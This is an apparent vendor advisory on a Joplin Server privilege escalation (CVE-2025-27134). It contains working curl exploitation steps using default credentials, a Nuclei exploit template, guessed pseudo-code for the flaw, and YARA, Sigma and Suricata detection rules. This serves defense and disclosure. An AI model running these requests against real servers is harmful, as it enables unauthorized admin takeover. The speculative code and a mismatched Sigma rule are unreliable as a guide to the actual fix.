CVE-2025-27134

Executive Summary

CVE-2025-27134 is a critical privilege escalation vulnerability in Joplin Server versions prior to 3.3.3. An authenticated low-privileged user can exploit the PATCH /api/users/:id endpoint to set the is_admin field to 1, thereby escalating their privileges to administrator. This grants full control over the Joplin server, including access to all notes, user management, and server configuration. The vulnerability has a CVSS score of 8.8 (High) and a public proof-of-concept (Nuclei template) is available, making exploitation straightforward. No patch was available at the time of analysis, but the vendor has since released version 3.3.3 which addresses the issue.

Supply Chain & Package Security

Joplin is distributed as an open-source application via GitHub and npm. The vulnerability exists in the server component, which is typically self-hosted. Users should verify the integrity of their Joplin Server installation by checking the version and applying the official patch. No malicious packages have been identified in the supply chain related to this CVE.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs a valid low-privileged account.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full access to all notes and data.
• Integrity (I): High (H) – Attacker can modify any data.
• Availability (A): High (H) – Attacker can disrupt server operations.

CVSS Score: 8.8 (High)

Threat Level: Critical. The combination of low privileges required, network exploitability, and high impact makes this a severe threat. Public exploit code accelerates the risk.

Deep Dive & Mechanics

The vulnerability lies in the PATCH /api/users/:id endpoint of the Joplin Server API. This endpoint is intended to allow users to update their own profile information (e.g., email, name). However, the server fails to validate that the is_admin field is a protected attribute that should only be modifiable by existing administrators.

Root Cause: The server-side code does not filter or sanitize the request body to prevent modification of the is_admin field. When a low-privileged user sends a PATCH request with { "is_admin": 1 }, the server updates the user record in the database without checking if the requester has administrative privileges.

Attack Flow:

1. Attacker authenticates as a low-privileged user (e.g., via default credentials or by creating an account).
2. Attacker obtains their own user ID (e.g., from the session or by listing users).
3. Attacker sends a PATCH request to /api/users/<user_id> with the JSON payload { "is_admin": 1 }.
4. The server updates the user's is_admin field to 1.
5. The attacker now has full administrative access.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-3.3.3): The server likely uses a generic update function that applies all fields from the request body to the user object without filtering.

// Vulnerable pseudo-code
app.patch('/api/users/:id', (req, res) => {
  const userId = req.params.id;
  const updates = req.body; // No filtering of fields
  User.update(userId, updates);
  res.json({ success: true });
});

Patched Code (3.3.3+): The patch adds a whitelist of allowed fields for non-admin users and checks the requester's role.

// Patched pseudo-code
app.patch('/api/users/:id', (req, res) => {
  const userId = req.params.id;
  const requester = req.user; // Authenticated user
  const allowedFields = ['email', 'name']; // Non-admin can only update these
  const updates = {};
  for (const key of Object.keys(req.body)) {
    if (requester.is_admin || allowedFields.includes(key)) {
      updates[key] = req.body[key];
    }
  }
  User.update(userId, updates);
  res.json({ success: true });
});

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running Joplin Server instance (version < 3.3.3).
• A valid low-privileged user account (e.g., admin@localhost with password admin if default credentials are enabled).

Exploitation Steps:

1. Authenticate and obtain session ID and user ID:

   curl -X POST https://joplin-server.local/api/sessions \
     -H "Content-Type: application/json" \
     -d '{"email": "admin@localhost", "password": "admin"}'
   

   Response contains id (session ID) and user_id.

2. Escalate privileges:

   curl -X PATCH https://joplin-server.local/api/users/<user_id> \
     -H "Cookie: sessionId=<session_id>" \
     -H "Content-Type: application/json" \
     -d '{"is_admin": 1}'
   

3. Verify escalation:

   curl -X GET https://joplin-server.local/api/users \
     -H "Cookie: sessionId=<session_id>"
   

   Look for your user ID in the response with is_admin: 1.

Nuclei Template (Provided):

id: CVE-2025-27134

info:
  name: Joplin 3.3.3 Server - Privilege Escalation
  author: zonia3000
  severity: high
  description: |
    Joplin is a free, open source note taking and to-do application, which can handle a large number of notes organised into notebooks. Prior to version 3.3.3, a privilege escalation vulnerability exists in the Joplin server, allowing non-admin users to exploit the API endpoint `PATCH /api/users/-id` to set the `is_admin` field to 1. The vulnerability allows malicious low-privileged users to perform administrative actions without proper authorization. This issue has been patched in version 3.3.3.
  impact: |
    Authenticated low-privileged users can escalate their privileges to administrator by setting the is_admin field through the PATCH /api/users endpoint, gaining complete control over the Joplin server.
  remediation: |
    Upgrade to Joplin version 3.3.3 or later that properly restricts the is_admin field modification.
  reference:
    - https://github.com/laurent22/joplin/security/advisories/GHSA-xj67-649m-3p8x
    - https://nvd.nist.gov/vuln/detail/CVE-2025-27134
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2025-27134
    cwe-id: CWE-284
    epss-score: 0.13424
    epss-percentile: 0.9422
    cpe: cpe:2.3:a:joplin_project:joplin:*:*:*:*:*:-:*:*
  metadata:
    verified: true
    vendor: joplin_project
    product: joplin
    framework: "-"
    shodan-query: 'title:"Joplin Server"'
  tags: cve,cve2025,auth,joplin,oss,default-login,vuln

variables:
  username: admin@localhost
  password: admin

http:
  - raw:
      - |
        POST /api/sessions HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "email": "{{username}}",
          "password": "{{password}}"
        }

      - |
        PATCH /api/users/{{user_id}} HTTP/1.1
        Host: {{Hostname}}
        Cookie: sessionId={{session_id}}
        Content-Type: application/json

        { "is_admin": 1 }

      - |
        GET /api/users HTTP/1.1
        Host: {{Hostname}}
        Cookie: sessionId={{session_id}}
        Content-Type: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body_1,"user_id") && contains(body_1,"id")'
          - 'contains(user, "{{user_id}}")'
        condition: and

    extractors:
      - type: json
        part: body_1
        name: user_id
        json:
          - '.user_id'
        internal: true

      - type: json
        part: body_1
        name: session_id
        json:
          - '.id'
        internal: true

      - type: json
        name: user
        part: body_3
        json:
          - '.items[] | select(.is_admin == 1) | .id'

Blue Team

Detection:

• Monitor for PATCH requests to /api/users/ with a JSON body containing is_admin.
• Alert on any user whose is_admin field changes from 0 to 1.
• Review server logs for unusual privilege escalation patterns.

Hunting:

• Query database for users with is_admin = 1 and verify they are legitimate administrators.
• Check for multiple failed login attempts followed by a successful privilege escalation.

Lab Setup:

• Deploy a vulnerable Joplin Server (version 3.3.2) in an isolated environment.
• Create a low-privileged test user.
• Execute the exploit and observe the logs.
• Apply the patch and verify the exploit no longer works.

Indicators of Compromise (IOCs)

• Network:
  • PATCH request to /api/users/<user_id> with body {"is_admin": 1}.
  • Unusual number of PATCH requests to user endpoints from a single IP.
• Logs:
  • Server log entries showing is_admin field update for a non-admin user.
  • Authentication logs showing a user escalating privileges.
• System:
  • User account with is_admin set to 1 that was previously a standard user.
  • New administrative actions performed by a user who was not previously an admin.

Detection Engineering

YARA Rule

rule CVE_2025_27134_Joplin_PrivEsc {
  meta:
    description = "Detects exploitation attempts of CVE-2025-27134 in Joplin Server logs"
    author = "Valters IT"
    date = "2025-03-01"
    hash = "N/A"
  strings:
    $patch = "PATCH /api/users/" ascii wide nocase
    $is_admin = "\"is_admin\": 1" ascii wide nocase
    $admin_true = "\"is_admin\":true" ascii wide nocase
  condition:
    all of them
}

Sigma Rule

title: CVE-2025-27134 Joplin Server Privilege Escalation
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation of CVE-2025-27134 via PATCH requests to /api/users with is_admin field
author: Valters IT
date: 2025-03-01
logsource:
  category: webserver
  product: joplin
detection:
  selection:
    cs-method: PATCH
    cs-uri-stem: /api/users/*
    cs-uri-query: "*is_admin*"
  condition: selection
falsepositives:
  - Legitimate admin updates (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
  msg:"CVE-2025-27134 Joplin Server Privilege Escalation Attempt";
  flow:to_server,established;
  content:"PATCH"; http_method;
  content:"/api/users/"; http_uri;
  content:"is_admin"; http_client_body;
  pcre:"/\"is_admin\"\s*:\s*1/i";
  classtype:attempted-admin;
  sid:10000001;
  rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Joplin Server to version 3.3.3 or later immediately.
2. If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block PATCH requests to /api/users/ that contain is_admin in the body.
3. Review all user accounts and revoke any unauthorized administrative privileges.

Long-term Measures:

• Implement strict input validation and authorization checks for all API endpoints.
• Conduct a security audit of the Joplin Server codebase.
• Enable logging and monitoring for all administrative actions.
• Follow the principle of least privilege for all user roles.

Workaround:

• Disable the PATCH endpoint for non-admin users by modifying the server code or using a reverse proxy to filter requests.

Report generated by Valters IT DevSecOps & CTI Division

{/* [Security Hash: 050D1A651E202B4A71CB8F89] */}